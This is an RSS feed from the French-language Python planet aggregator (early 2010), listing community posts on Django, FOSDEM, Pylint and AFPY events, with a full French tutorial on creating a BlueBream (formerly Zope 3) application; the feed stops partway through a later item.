<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<channel>
<title><![CDATA[Planet Python francophone]]></title>
<description><![CDATA[News Python francophones]]></description>
<link>http://www.afpy.org/planet/</link>
<language>en</language>
<copyright>Copyright 2008, Atomisator</copyright>
<pubDate>Sat, 15 Mar 2008 00:15:05 +0200</pubDate>
<lastBuildDate>Sat, 15 Mar 2008 00:15:05 +0200</lastBuildDate>
  <item>
    <title><![CDATA[[encolpe] 2010 : liens de la semaine 5]]></title>
    <description><![CDATA[Python
Cette semaine Logilab hébergeait un sprint sur Mercurial et une partie de l&#8217;AFPY était en déplacement au FOSDEM. La semaine prochaine devrait être riche en retours d&#8217;expériences.
L&#8217;article de la semaine de l&#8217;AFPY :
Python WAW 2010 : Semaine 5
PostgreSQL
PostgreSQL 9.0 introduit la réplication à chaud. C&#8217;est une très bonne nouvelle pour ce concurrent d&#8217;Oracle :
Hot Standby [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=encolpe.wordpress.com&blog=1743175&post=367&subd=encolpe&ref=&feed=1" />]]></description>
    <link><![CDATA[http://encolpe.wordpress.com/2010/02/08/2010-liens-de-la-semaine-5/]]></link>
    <pubDate>2010-02-08 15:22:13</pubDate>
    <category>Blogroll</category>
    <category>CSS</category>
    <category>Python</category>
    <category>fr</category>
    <category>planet</category>
    <category>planet-fr</category>
    <category>afpy</category>
    <category>CSS3</category>
    <category>jQuery</category>
    <category>Lorem Ipsum</category>
    <category>Postgresql</category>
    <category>Qunit</category>
  </item>
  <item>
    <title><![CDATA[[Afpy] Python WAW 2010 : Semaine 5]]></title>
    <description><![CDATA[Python Week After Week : les liens de la semaine de l'AFPY]]></description>
    <link><![CDATA[http://zope.afpy.org/python-waw/python-waw-2010-semaine-5]]></link>
    <pubDate>2010-02-07 16:14:12</pubDate>
    <category>AFPY News</category>
  </item>
  <item>
    <title><![CDATA[[j-mad] Django 1.2 beta, the news]]></title>
    <description><![CDATA[Comme le petit billet qui listait les nouveautés de la version alpha de django 1.2 a eu un petit succès, j&#8217;ai décidé de récidiver et de faire la même chose pour la sortie de la version beta. Ce qui sera d&#8217;ailleurs beaucoup moins fatiguant, vu qu&#8217;il y a peu de nouveautés entre l&#8217;alpha et la [...]]]></description>
    <link><![CDATA[http://j-mad.com/blog/2010/02/06/django-1-2-beta-the-news/]]></link>
    <pubDate>2010-02-06 17:45:34</pubDate>
    <category>Django</category>
    <category>Python</category>
  </item>
  <item>
    <title><![CDATA[[carlchenet] Fosdem2010 : Les premières conférences]]></title>
    <description><![CDATA[Après une arrivée tôt ce matin, nous avons rejoint les conférences du FOSDEM qui bat actuellement son plein.
La première impression : beaucoup, beaucoup de monde. Des gens calés. Des célébrités du libre un peu partout. Des tonnes de passionnés. Des développeurs Debian en kilt. Les membres de l&#8217;Afpy venus en masse. C&#8217;est aussi l&#8217;occasion de [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=carlchenet.wordpress.com&blog=7722010&post=271&subd=carlchenet&ref=&feed=1" />]]></description>
    <link><![CDATA[http://carlchenet.wordpress.com/2010/02/06/fosdem2010-les-premieres-conferences/]]></link>
    <pubDate>2010-02-06 14:59:05</pubDate>
    <category>april</category>
    <category>debian-fr</category>
    <category>planet-libre</category>
    <category>python</category>
    <category>fosdem fosdem2010 mozilla</category>
  </item>
  <item>
    <title><![CDATA[[carlchenet] Pylint : le meilleur ami des Pythonistes (GLMF)]]></title>
    <description><![CDATA[Vous programmez en Python et voudriez ne pas avoir à lancer votre application pour détecter les fautes de syntaxe ou de frappe que vous avez pu laisser traîner.
Pylint est fait pour vous. Pylint est un analyseur statique de code Python en ligne de commande, qui vous présente un rapport exhaustif de l&#8217;étude de votre code [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=carlchenet.wordpress.com&blog=7722010&post=257&subd=carlchenet&ref=&feed=1" />]]></description>
    <link><![CDATA[http://carlchenet.wordpress.com/2010/02/05/pylint-le-meilleur-ami-des-pythonistes-glmf/]]></link>
    <pubDate>2010-02-05 00:30:09</pubDate>
    <category>april</category>
    <category>articles</category>
    <category>planet-libre</category>
    <category>python</category>
    <category>python pylint glmf vim</category>
  </item>
  <item>
    <title><![CDATA[[j-mad] petit mémo python]]></title>
    <description><![CDATA[J&#8217;aime lire du code des autres. Enfin quand c&#8217;est du code de qualité, bien entendu. (Parce que question code bien pourri&#8230; j&#8217;ai été servi, plus qu&#8217;à mon tour, sur les différentes reprises de projets complètement à la ramasse auxquels j&#8217;ai eu la joie de participer).
Pourquoi j&#8217;aime lire du code bien écrit ?
Parce que tout simplement, [...]]]></description>
    <link><![CDATA[http://j-mad.com/blog/2010/02/04/petit-memo-python/]]></link>
    <pubDate>2010-02-04 22:29:03</pubDate>
    <category>Python</category>
  </item>
  <item>
    <title><![CDATA[[Afpy] Les alternatives libres aux outils propriétaires de maths]]></title>
    <description><![CDATA[Le projet "Plume" (http://www.projet-plume.org/) et le Groupe Calcul
(http://calcul.math.cnrs.fr) organisent une journée à Paris sur "Les  alternatives libres aux outils propriétaires de maths".

Vous pourrez vérifier qu'il a beaucoup de Python (Sage, Numpy, Spyder...).

Contrairement à ce qui est dit sur la page web, c'est ouvert à tous,
moyennant une inscription (gratuite) et il sera possible de suivre les
exposés en direct ou en différé (voir la page web).]]></description>
    <link><![CDATA[http://zope.afpy.org/Members/fcodvpt/les-alternatives-libres-aux-outils-proprietaires-de-maths]]></link>
    <pubDate>2010-02-03 22:48:47</pubDate>
    <category>AFPY News</category>
  </item>
  <item>
    <title><![CDATA[[Afpy] Python WAW 2010 : Semaine 4]]></title>
    <description><![CDATA[Python Week After Week : les liens de la semaine de l'AFPY]]></description>
    <link><![CDATA[http://zope.afpy.org/python-waw/python-waw-2010-semaine-4]]></link>
    <pubDate>2010-02-01 06:12:31</pubDate>
    <category>A la une</category>
    <category>WSGI</category>
    <category>AFPY News</category>
    <category>Repoze BFG</category>
    <category>Django</category>
    <category>cgitb</category>
    <category>Google App Engine</category>
    <category>Zope</category>
    <category>Plone</category>
    <category>WSGI</category>
    <category>AFPY News</category>
    <category>Repoze BFG</category>
    <category>Django</category>
    <category>cgitb</category>
    <category>Google App Engine</category>
    <category>Zope</category>
    <category>Plone</category>
  </item>
  <item>
    <title><![CDATA[[encolpe] 2010 : les liens de la semaine 4]]></title>
    <description><![CDATA[Cette  rubrique va sans doute devenir mensuel suite à la fusion de la partie Python avec la rubrique de l&#8217;AFPY. Au programme de cette semaine : Les grammaires en  Python, quelques liens utiles et beaucoup de lien autour des frameworks Web :
Python WAW 2010 : Semaine 4
Une question qui revient souvent : mais où allons-nous [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=encolpe.wordpress.com&blog=1743175&post=358&subd=encolpe&ref=&feed=1" />]]></description>
    <link><![CDATA[http://encolpe.wordpress.com/2010/02/01/2010-les-liens-de-la-semaine-4/]]></link>
    <pubDate>2010-01-31 22:51:45</pubDate>
    <category>Blogroll</category>
    <category>CSS</category>
    <category>Design</category>
    <category>Python</category>
    <category>fr</category>
    <category>planet</category>
    <category>planet-fr</category>
    <category>cgitb</category>
    <category>Django</category>
    <category>jQuery</category>
    <category>Nettuts+</category>
    <category>Plone</category>
    <category>Repoze BFG</category>
    <category>WSGI</category>
    <category>Zope</category>
  </item>
  <item>
    <title><![CDATA[[j-mad] Tagcon, où comment écrire simplement les templatetags, cong !!]]></title>
    <description><![CDATA[Oui, je sais, je devrais renouveler un peu mon stock de blagues. Parce que mettre des cong à la fin de tout et n&#8217;importe quoi, pour singer l&#8217;accent marseillais, ça commence à &#8230;. Je sais. (j&#8217;en profite pour vous rappeler que le 24 et 25 avril, il va y avoir la DjangoCong à Marseille, une [...]]]></description>
    <link><![CDATA[http://j-mad.com/blog/2010/01/31/tagcon-ou-comment-ecrire-simplement-les-templatetags-cong/]]></link>
    <pubDate>2010-01-31 17:23:09</pubDate>
    <category>La Django-app du mois</category>
  </item>
  <item>
    <title><![CDATA[[carlchenet] Lire vos flux RSS en mode texte avec Canto (GLMF)]]></title>
    <description><![CDATA[Vous n&#8217;avez jamais rêvé de lire vos flux RSS en mode texte ? Vous trouvez Liferea envahissant et les solutions comme Evolution-RSS encore peu aboutie ?
Un article détaillant le fonctionnement de Canto, lecteur de flux RSS en mode texte a été publié dans GNU/Linux Magazine hors-série n°46. C&#8217;est à mon avis une très bonne alternative [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=carlchenet.wordpress.com&blog=7722010&post=241&subd=carlchenet&ref=&feed=1" />]]></description>
    <link><![CDATA[http://carlchenet.wordpress.com/2010/01/30/lire-vos-flux-rss-en-mode-texte-avec-canto-glmf/]]></link>
    <pubDate>2010-01-30 16:05:08</pubDate>
    <category>articles</category>
    <category>planet-libre</category>
    <category>python</category>
    <category>debian glmf rss reader canto</category>
  </item>
  <item>
    <title><![CDATA[[Afpy] Rencontres Django à Marseille le weekend du 24/25 avril 2010]]></title>
    <description><![CDATA[Événement pour échanger autour de Django et sur le web et python en général.]]></description>
    <link><![CDATA[http://zope.afpy.org/Members/david_bgk/rencontres-django-marseille-2010]]></link>
    <pubDate>2010-01-29 07:13:59</pubDate>
    <category>A la une</category>
  </item>
  <item>
    <title><![CDATA[[Afpy] Python WAW 2010 semaine 3]]></title>
    <description><![CDATA[Les liens de la semaine 3 autour e Python et son développement.]]></description>
    <link><![CDATA[http://zope.afpy.org/python-waw/python-waw-2010-semaine-3]]></link>
    <pubDate>2010-01-29 01:38:40</pubDate>
    <category>A la une</category>
    <category>AFPY News</category>
  </item>
  <item>
    <title><![CDATA[[ccomb] Zope 3 s'appelle dorénavant BlueBream !]]></title>
    <description><![CDATA[<div class="document">
<a href="http://bluebream.zope.org" class="reference external image-reference"><img src="http://ccomb.gorfou.fr/static/bluebream-logo-v1.png" alt="BlueBream, the Zope Framework." class="align-left" align="left" /></a>
<p>Un renommage qui aurait dû avoir lieu depuis très lontemps ! Pour ceux qui ont du mal à suivre (et ça se comprend), une petite explication de texte : la réécriture de Zope 2, démarrée il y a 8 ans, et qui a longtemps été appelée « Zope 3 », a consisté à créer une architecture modulaire et innovante, la « <a href="http://ccomb.gorfou.fr/2009/12/9/le-guide-complet-de-l-architecture-de-composants-de-zope" class="reference external">Zope Component Architecture</a> » (<cite>ZCA</cite>), puis à découper proprement Zope et une multitude de paquets utilisant cette architecture. Cet ensemble de paquets, cohérents et compatibles entre eux a été nommé tout d'abord « KGS » (<cite>Known Good Set</cite>), puis renommé courant 2009 en « Zope Toolkit ». Le <cite>Zope Toolkit</cite> (<cite>ZTK</cite>) est l'ensemble des bibliothèques Zope, utilisées maintenant par tout l'écosystème Zope : Zope 2, Plone, Grok, etc... Plus de 900 paquets sont <a href="http://pypi.python.org/pypi?:action=browse&show=all&c=515" class="reference external">taggés « Zope 3 »</a> dans PyPI !</p>
<p>Nous avons donc l'architecture (la <strong>ZCA</strong>) et l'ensemble des bibliothèques (le <strong>ZTK</strong>). Mais où est le serveur d'application dans tout ça ? Rappelons que l'idée originale était de réécrire Zope 2, donc il manque quelque chose. Est-ce Zope 3 ? Oui, mais Zope 3 ça ne veut plus rien dire : le <cite>concept</cite> Zope 3 a été éclaté en morceaux, et même le <cite>nom</cite> Zope 3 a fini par se noyer au milieu du reste. On avait presque oublié qu'on pouvait créer une application <cite>en pur Zope 3</cite>. Un coup de <a href="http://pypi.python.org/pypi/zopeproject/" class="reference external">zopeproject</a> et c'était parti !</p>
<p>C'était sans compter sur l'initiative de <a href="http://identi.ca/baijum" class="reference external">Baiju M.</a>, qui a pris le risque de renommer Zope 3 (le serveur d'application) en <strong>BlueBream</strong>, et de relancer la machine buzz et documentation ! La vidéo fait sourire, mais on ne peut rien lui reprocher, vu l'énergie qu'il déploie actuellement. Globalement son effort a été extrêmement bien accueilli et encouragé par la communauté. BlueBream, en soi, ne contient pas grand chose, c'est un simple <cite>template</cite> de projet du même genre que <tt class="docutils literal"><span class="pre">zopeproject</span></tt>, <tt class="docutils literal"><span class="pre">grokproject</span></tt>, <tt class="docutils literal"><span class="pre">django-admin.py</span> <span class="pre">startproject</span></tt> ou autres <tt class="docutils literal"><span class="pre">zf.sh</span> <span class="pre">create</span> <span class="pre">project</span></tt>. C'est donc une nouvelle identité, un nouveau logo et une nouvelle dynamique de contribution. Dans BlueBream, il n'y a absolument rien d'autre que les paquets du Zope Toolkit, c'est donc bien du Zope 3 pur. Il n'y a même pas de <cite>namespace</cite> bluebream et ce n'est pas à l'ordre du jour.</p>
<p>Voici quelques ressources utiles pour s'informer et suivre l'actualité BlueBream :</p>
<ul class="simple">
<li><a href="http://bluebream.zope.org/" class="reference external">Accueil/Documentation</a></li>
<li><a href="https://mail.zope.org/mailman/listinfo/bluebream" class="reference external">Liste de diffusion</a> (<a href="https://mail.zope.org/pipermail/bluebream/2010-January/thread.html" class="reference external">archives de janvier 2010</a>)</li>
<li><a href="http://twitter.com/bluebream" class="reference external">Twitter</a></li>
<li><a href="http://bluebream.posterous.com" class="reference external">Blog</a></li>
<li>Canal IRC : #bluebream sur freenode.net</li>
<li><a href="http://wiki.zope.org/bluebream" class="reference external">Wiki</a></li>
<li><a href="http://pypi.python.org/pypi/bluebream" class="reference external">Paquet sur PyPI</a></li>
<li><a href="http://zope3.afpy.org/buildbot/" class="reference external">Buildbot</a></li>
</ul>
<div id="petit-tutoriel-de-d-marrage" class="section">
<h3>Petit tutoriel de démarrage</h3>
<p>La documentation officielle explique ça très bien <a href="http://bluebream.zope.org/doc/1.0/gettingstarted.html" class="reference external">en anglais</a>, mais je vous en fais une en français.</p>
<div id="cr-ation-d-une-application" class="section">
<h4>Création d'une application</h4>
<p>Avant tout, assurez-vous d'avoir Python 2.5 ou 2.6 et les bons paquets de développement, sur Debian/Ubuntu ça ressemble à ça:</p>
<pre class="literal-block">$ sudo aptitude install python-dev build-essential libxml2-dev libxslt1-dev
</pre>
<p>On commence par installer la dernière version de <a href="http://pypi.python.org/pypi/distribute/" class="reference external">Distribute</a>. (Le monsieur t'a dit d'installer Distribute. Si tu n'installes pas la dernière version de Distribute dans moins de 5 minutes, ton chat sera sodomisé par un gorfou)</p>
<pre class="literal-block">$ wget http://python-distribute.org/distribute_setup.py
$ sudo python distribute_setup.py
</pre>
<p>Bon, le chat a évité le pire, maintenant on installe le paquet <cite>bluebream</cite> (0.1.9 à la date de cet article), qui est minuscule et n'a pour dépendances que <cite>Sphinx-PyPI-upload</cite>, <cite>PasteScript</cite>, <cite>PasteDeploy</cite> et <cite>Paste</cite>.:</p>
<pre class="literal-block">$ sudo easy_install bluebream
</pre>
<p>C'est tout, maintenant on peut démarrer un nouveau projet BlueBream. Remarquez que la méthode est la même que pour un projet Pylons, BFG, Plone ou n'importe quoi pris en charge par un <cite>template Paste</cite>. Vous devez répondre au moins à la première question en donnant le nom de votre projet, ce qui aura pour effet de créer un dosser du même nom. Pour tout le reste, vous pouvez appuyer sur <cite>Entrée</cite>.</p>
<pre class="literal-block">$ paster create -t bluebream
</pre>
<p>Maintenant on rentre dans le dossier, et on construit l'application grâce à <a href="http://buildout.org" class="reference external">Buildout</a> (Je suppose que votre projet s'appelle <cite>monprojet</cite>)</p>
<pre class="literal-block">$ cd monprojet
$ python bootstrap.py
$ ./bin/buildout
</pre>
<p>Avant de lancer <cite>buildout</cite>, un bon conseil est de configurer le dossier partagé pour les paquets Python, qui évitera de les re-télécharger dans chaque <cite>buildout</cite> ou projet : vous devriez avoir un fichier <tt class="docutils literal"><span class="pre">~/.buildout/default.cfg</span></tt> contenant ça :</p>
<pre class="literal-block">[buildout]
eggs-directory = /home/ccomb/buildout-eggs
</pre>
<p>Si tout s'est déroulé correctement, vous devriez avoir un dossier <tt class="docutils literal"><span class="pre">bin</span></tt> contenant : <tt class="docutils literal"><span class="pre">breampy,</span> <span class="pre">buildout,</span> <span class="pre">paster,</span> <span class="pre">test</span></tt>. (<strong>Sinon</strong> je plains votre chat. Installez la dernière version de Virtualenv, créez un environnement isolé avec <tt class="docutils literal"><span class="pre">virtualenv</span> <span class="pre">--no-site-packages</span> <span class="pre">--distribute</span> <span class="pre">monprojet</span></tt>, activez le avec <tt class="docutils literal"><span class="pre">source</span> <span class="pre">bin/activate</span></tt> et recommencez sans <tt class="docutils literal"><span class="pre">sudo</span></tt> à partir de l'installaton de bluebream.)</p>
<p>Vous pouvez maintenant démarrer votre application:</p>
<pre class="literal-block">$ bin/paster serve deploy.ini
</pre>
<p>Puis accéder à la page par défaut sur <a href="http://127.0.0.1:8080/" class="reference external">http://127.0.0.1:8080/</a></p>
<div align="center" class="align-center"><img src="http://ccomb.gorfou.fr/static/bluebream-welcome.png" alt="Page d'accueil BlueBream" class="align-center" /></div>
<p>Vous pouvez aussi démarrer en utilisant <tt class="docutils literal"><span class="pre">debug.ini</span></tt>, ce qui active divers outils de debug, dont un <cite>middleware WSGI</cite> très utile, pour afficher le <cite>traceback</cite> dans le navigateur et même inspecter les variables de manière interactive.</p>
<p>Quelque chose de nouveau par rapport à Zope 3.4, il y a une commande <tt class="docutils literal"><span class="pre">shell</span></tt> qui permet de se retrouver dans l'environnement de l'application, et d'accéder directement à la racine de base de données pour l'inspecter (objet <tt class="docutils literal"><span class="pre">root</span></tt>). Cette commande <tt class="docutils literal"><span class="pre">shell</span></tt> est l'équivalent du <tt class="docutils literal"><span class="pre">debugzope</span></tt> ou <tt class="docutils literal"><span class="pre">zopectl</span> <span class="pre">debug</span></tt> des versions précédentes de Zope 2 ou Zope 3.:</p>
<pre class="literal-block">$ bin/paster shell debug.ini
&gt;&gt;&gt; root
&lt;zope.site.folder.Folder object at 0x46319b0&gt;
</pre>
<p>On voir que l'objet racine de la ZODB est maintenant pris en charge par un nouveau paquet <tt class="docutils literal"><span class="pre">zope.site</span></tt>. On a aussi accès à un objet <tt class="docutils literal"><span class="pre">debugger</span></tt> ou <tt class="docutils literal"><span class="pre">app</span></tt> (c'est le même), provenant de <tt class="docutils literal"><span class="pre">zope.app.debug</span></tt>, et permettant de simuler une requête ou d'avoir accès à l'objet <tt class="docutils literal"><span class="pre">DB</span></tt>. Par exemple si vous voulez vider l'historique de la ZODB (ce qu'on appelle faire un « pack »), il suffit de taper ça dans le <cite>shell</cite> de debug:</p>
<pre class="literal-block">&gt;&gt;&gt; app.db.pack()
</pre>
</div>
<div id="modifier-la-page-d-accueil" class="section">
<h4>Modifier la page d'accueil</h4>
<p>Pour comprendre d'où vient la page d'accueil que vous voyez sur <a href="http://localhosts:8080" class="reference external">http://localhosts:8080</a> , il suffit de regarder dans le dossier <tt class="docutils literal"><span class="pre">src/monprojet/main/</span></tt>. Dans le fichier <tt class="docutils literal"><span class="pre">configure.zcml</span></tt>, une vue est configurée :</p>
<div class="syntax"><pre><span class="nt">&lt;browser:page</span>
   <span class="na">for=</span><span class="s">"zope.site.interfaces.IRootFolder"</span>
   <span class="na">name=</span><span class="s">"index"</span>
   <span class="na">permission=</span><span class="s">"zope.Public"</span>
   <span class="na">class=</span><span class="s">".views.RootDefaultView"</span>
   <span class="nt">/&gt;</span>
</pre></div>
<p>Cette déclaration signifie : <tt class="docutils literal"><span class="pre">«</span> <span class="pre">J'ai</span> <span class="pre">une</span> <span class="pre">vue</span> <span class="pre">disponible</span> <span class="pre">pour</span> <span class="pre">l'objet</span> <span class="pre">racine</span> <span class="pre">(celui</span> <span class="pre">fournissant</span> <span class="pre">l'interface</span> <span class="pre">IRootFolder).</span> <span class="pre">Cette</span> <span class="pre">vue</span> <span class="pre">est</span> <span class="pre">gérée</span> <span class="pre">par</span> <span class="pre">la</span> <span class="pre">classe</span> <span class="pre">RootDefaultView,</span> <span class="pre">la</span> <span class="pre">vue</span> <span class="pre">a</span> <span class="pre">pour</span> <span class="pre">nom</span> <span class="pre">«</span> <span class="pre">index</span> <span class="pre">»,</span> <span class="pre">qui</span> <span class="pre">sera</span> <span class="pre">le</span> <span class="pre">nom</span> <span class="pre">visible</span> <span class="pre">dans</span> <span class="pre">l'URL,</span> <span class="pre">et</span> <span class="pre">cette</span> <span class="pre">vue</span> <span class="pre">est</span> <span class="pre">publique</span> <span class="pre">(permission</span> <span class="pre">zope.Public).</span> <span class="pre">»</span></tt></p>
<p>La vue est une simple classe Python visible dans le fichier <tt class="docutils literal"><span class="pre">views.py</span></tt>, et on peut voir que la vue renvoie elle-même la page HTML, sans même utiliser de langage de <cite>templating</cite> :</p>
<div class="syntax"><pre><span class="k">class</span> <span class="nc">RootDefaultView</span><span class="p">(</span><span class="n">BrowserView</span><span class="p">):</span>

    <span class="k">def</span> <span class="nf">__call__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="k">return</span> <span class="s">"""</span><span class="se">\</span>
<span class="s">&lt;html&gt;&lt;head&gt;&lt;title&gt;Welcome to BlueBream!&lt;/title&gt;&lt;/head&gt;&lt;body&gt;</span>
<span class="s">&lt;h1&gt;Welcome to BlueBream!&lt;/h1&gt;</span>
<span class="s">&lt;ul&gt;</span>
<span class="s">(...)</span>
</pre></div>
<p>Dans cette page d'accueil, on peut déjà s'authentifier en cliquant sur <tt class="docutils literal"><span class="pre">login</span></tt>, avec le mot de passe admin/admin. On peut ensuite cliquer sur <tt class="docutils literal"><span class="pre">Add</span> <span class="pre">a</span> <span class="pre">sample</span> <span class="pre">application</span></tt> pour ajouter une <tt class="docutils literal"><span class="pre">Sample</span> <span class="pre">Application</span></tt>. Cette SampleApplication n'est rien d'autre qu'un conteneur qui sera ajouté à la racine de la ZODB. Elle est définie dans le fichier <tt class="docutils literal"><span class="pre">app.py</span></tt>:</p>
<div class="syntax"><pre><span class="k">class</span> <span class="nc">SampleApplication</span><span class="p">(</span><span class="n">BTreeContainer</span><span class="p">):</span>

  <span class="n">implements</span><span class="p">(</span><span class="n">ISampleApplication</span><span class="p">)</span>
  <span class="n">name</span> <span class="o">=</span> <span class="s">u""</span>
  <span class="n">description</span> <span class="o">=</span> <span class="s">u""</span>
</pre></div>
<p>Tout ceci fait penser un peu à l'interface d'accueil de Grok qui permet d'« ajouter une application ». Ça ne sert pas à grand chose, à part montrer un exemple simple de formulaire, et d'ajout de contenu hiérarchique dans la ZODB. Si vous créez votre propre application, vous pouvez supprimer ces classes d'exemples, redéfinir la vue pour l'objet racine, de préférence en utilisant le templating par défaut de Zope : le <cite>ZPT</cite>.</p>
<p>Pour remplacer cette page d'accueil, commencez par supprimer la méthode <tt class="docutils literal"><span class="pre">__call__</span></tt> de la vue <tt class="docutils literal"><span class="pre">RootDefaultView</span></tt>, car cette méthode surcharge celle de la classe parente (<tt class="docutils literal"><span class="pre">BrowserView</span></tt>). De cette façon on bénéficie à nouveau de la méthode de publication par défaut de <tt class="docutils literal"><span class="pre">BrowserView</span></tt>, qui peut faire appel à un template configuré en ZCML.</p>
<p>Dans <tt class="docutils literal"><span class="pre">view.py</span></tt> :</p>
<div class="syntax"><pre><span class="k">class</span> <span class="nc">RootDefaultView</span><span class="p">(</span><span class="n">BrowserView</span><span class="p">):</span>
    <span class="k">pass</span>
</pre></div>
<p>Et dans <tt class="docutils literal"><span class="pre">configure.zcml</span></tt> :</p>
<div class="syntax"><pre><span class="nt">&lt;browser:page</span>
   <span class="na">for=</span><span class="s">"zope.site.interfaces.IRootFolder"</span>
   <span class="na">name=</span><span class="s">"index"</span>
   <span class="na">permission=</span><span class="s">"zope.Public"</span>
   <span class="na">class=</span><span class="s">".views.RootDefaultView"</span>
   <span class="na">template=</span><span class="s">"accueil.pt"</span>
   <span class="nt">/&gt;</span>
</pre></div>
<p>Ensuite évidemment il faut créer le <cite>template</cite> pour l'accueil (fichier <tt class="docutils literal"><span class="pre">accueil.pt</span></tt>) :</p>
<div class="syntax"><pre><span class="nt">&lt;html&gt;&lt;body&gt;</span>

<span class="nt">&lt;h1&gt;</span>Accueil<span class="nt">&lt;/h1&gt;</span>

<span class="nt">&lt;p&gt;</span>Bonjour, la classe de l'objet racine (le contexte de cette vue) est :
  <span class="nt">&lt;span</span> <span class="na">tal:content=</span><span class="s">"python: context.__class__.__name__"</span> <span class="na">style=</span><span class="s">"color: blue"</span><span class="nt">&gt;</span>
  nom de la classe
  <span class="nt">&lt;/span&gt;</span>
<span class="nt">&lt;/p&gt;</span>

<span class="nt">&lt;p&gt;</span>
  Le user-agent de mon navigateur est :<span class="nt">&lt;br/&gt;</span>
  <span class="nt">&lt;span</span> <span class="na">tal:content=</span><span class="s">"python: request['HTTP_USER_AGENT']"</span> <span class="na">style=</span><span class="s">"color: blue"</span><span class="nt">&gt;</span>
  contenu de la requête
  <span class="nt">&lt;/span&gt;</span>
<span class="nt">&lt;/p&gt;</span>

<span class="nt">&lt;/body&gt;&lt;/html&gt;</span>
</pre></div>
<img src="http://ccomb.gorfou.fr/static/bluebream-welcome2.png" alt="Accueil modifié" class="align-right" align="right" />
<p>La vue étant un <a href="http://ccomb.gorfou.fr/static/zcadoc/zca-fr.html#multi-adaptateur" class="reference external">double adaptateur</a> sur le <cite>contexte</cite> (qui dans ce cas est l'objet racine) et sur la <cite>requête</cite>. Ces deux objet sont donc disponibles dans la vue en Python via <tt class="docutils literal"><span class="pre">self.context</span></tt> et <tt class="docutils literal"><span class="pre">self.request</span></tt>. Ces deux objet sont même transmis par défaut au <cite>template</cite> via les variables <tt class="docutils literal"><span class="pre">context</span></tt> et <tt class="docutils literal"><span class="pre">request</span></tt>. De cette façon, on peut accéder à l'objet racine et connaître le nom de sa classe (voir la capture d'écran), et à l'objet requête ce qui permet de récupérer entre autres le <cite>User-Agent</cite>, ou d'autres informations liées à la requête, comme l'utilisateur authentifié.</p>
<p>C'est tout pour aujourd'hui.</p>
</div>
</div>
</div>]]></description>
    <link><![CDATA[http://ccomb.gorfou.fr/2010/1/27/zope-3-s-appelle-dorenavant-bluebream]]></link>
    <pubDate>2010-01-27 19:12:00</pubDate>
  </item>
  <item>
    <title><![CDATA[[encolpe] Installer et tester Django en 10 minutes sur une Ubuntu 9.10]]></title>
    <description><![CDATA[J&#8217;ai trouvé une petite application web qui m&#8217;intéresse pour le site de l&#8217;AFPY : un éditeur de restructured text écrit pour Django. N&#8217;ayant jamais utilisé Django j&#8217;ai essayé de trouver une documentation pour installer et tester tout ça avec Ubuntu. Une recherche sur le moteur de recherche Exalead m&#8217;a permis de trouver la page de [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=encolpe.wordpress.com&blog=1743175&post=353&subd=encolpe&ref=&feed=1" />]]></description>
    <link><![CDATA[http://encolpe.wordpress.com/2010/01/27/installer-et-tester-django-en-10-minutes-sur-une-ubuntu-9-10/]]></link>
    <pubDate>2010-01-27 01:01:05</pubDate>
    <category>Blogroll</category>
    <category>Django</category>
    <category>Python</category>
    <category>Ubuntu</category>
    <category>fr</category>
    <category>planet</category>
    <category>planet-fr</category>
    <category>éditeur</category>
    <category>exalead</category>
    <category>restrutured text</category>
    <category>ubuntu</category>
  </item>
  <item>
    <title><![CDATA[[encolpe] 2010 : liens de la semaine 3]]></title>
    <description><![CDATA[Cette rubrique hebdomadaire va bientôt changer. Pour éviter les doublons elle va être fusionné avec celle de Youenn Boussard sur le site de l&#8217;AFPY. Elle continuera sur le signe de l&#8217;ouverture avec des sujets moins centré sur Python ou avec des ressources plus techniques que celles de l&#8217;AFPY.

Heuristique
Les cartes heuristiques ou mindmapping sont au centre [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=encolpe.wordpress.com&blog=1743175&post=344&subd=encolpe&ref=&feed=1" />]]></description>
    <link><![CDATA[http://encolpe.wordpress.com/2010/01/25/2010-liens-de-la-semaine-3/]]></link>
    <pubDate>2010-01-25 00:30:11</pubDate>
    <category>Blogroll</category>
    <category>Opensource</category>
    <category>Plone 4.0</category>
    <category>Python</category>
    <category>Zope3</category>
    <category>fr</category>
    <category>planet</category>
    <category>planet-fr</category>
    <category>afpy</category>
    <category>bluebream</category>
    <category>heuristique</category>
    <category>mindmap</category>
    <category>Nettuts+</category>
    <category>PloneConf2010</category>
    <category>tests fonctionnels</category>
    <category>XSLT</category>
    <category>zodbupdate</category>
    <category>zope views</category>
  </item>
  <item>
    <title><![CDATA[[Afpy] Rencontre autour de Python à Lyon]]></title>
    <description><![CDATA[]]></description>
    <link><![CDATA[http://zope.afpy.org/Members/encolpe/afpynews.2010-01-22.9555016952]]></link>
    <pubDate>2010-01-22 02:31:11</pubDate>
    <category>A la une</category>
    <category>AFPY News</category>
  </item>
  <item>
    <title><![CDATA[[No] En préparation]]></title>
    <description><![CDATA[<p>Ça se bouscule pas mal depuis peu, alors, on résume, parce qu'il va falloir s'organiser un peu :
</p>
<ul>
 <li>
     Les premières <a href="http://rencontres.django-fr.org/">Rencontres Django francophones</a> viennent d'être <a href="http://www.biologeek.com/conferences,django,web/rencontres-django-marseille-le-we-du-2425-avril/">annoncées par David</a> et auront donc lieu les 24-25 avril à Marseille. Dans ma TODO, on ajoute : transport (SNCF, c'est minimum 7h20 de train - Avion, c'est Ryanair avec des dates moyennement intéressantes - voiture c'est hypra-galère à l'aller encore pire au retour) et logement (les organisateurs y travaillent).
 </li>

 <li>
     Le prochain <a href="http://oggcamp.org">OggCamp</a>, l'événement open-source qui succède au <a href="http://lugradio.org/live">Lugradio Live</a> aura lieu à Liverpool... le week-end d'après (2-3 mai). Impossible que je le manque celui-ci non plus. Donc, dans la TODO : transport (une des propositions d'Air France table sur un voyage de plus de 24h - Y'a bien EasyJet, mais c'est moyen - Y'a pas Ryanair, ils desservent Biarritz/Liverpool que l'été) et logement (les organisateurs y travaillent aussi).
 </li>

 <li>
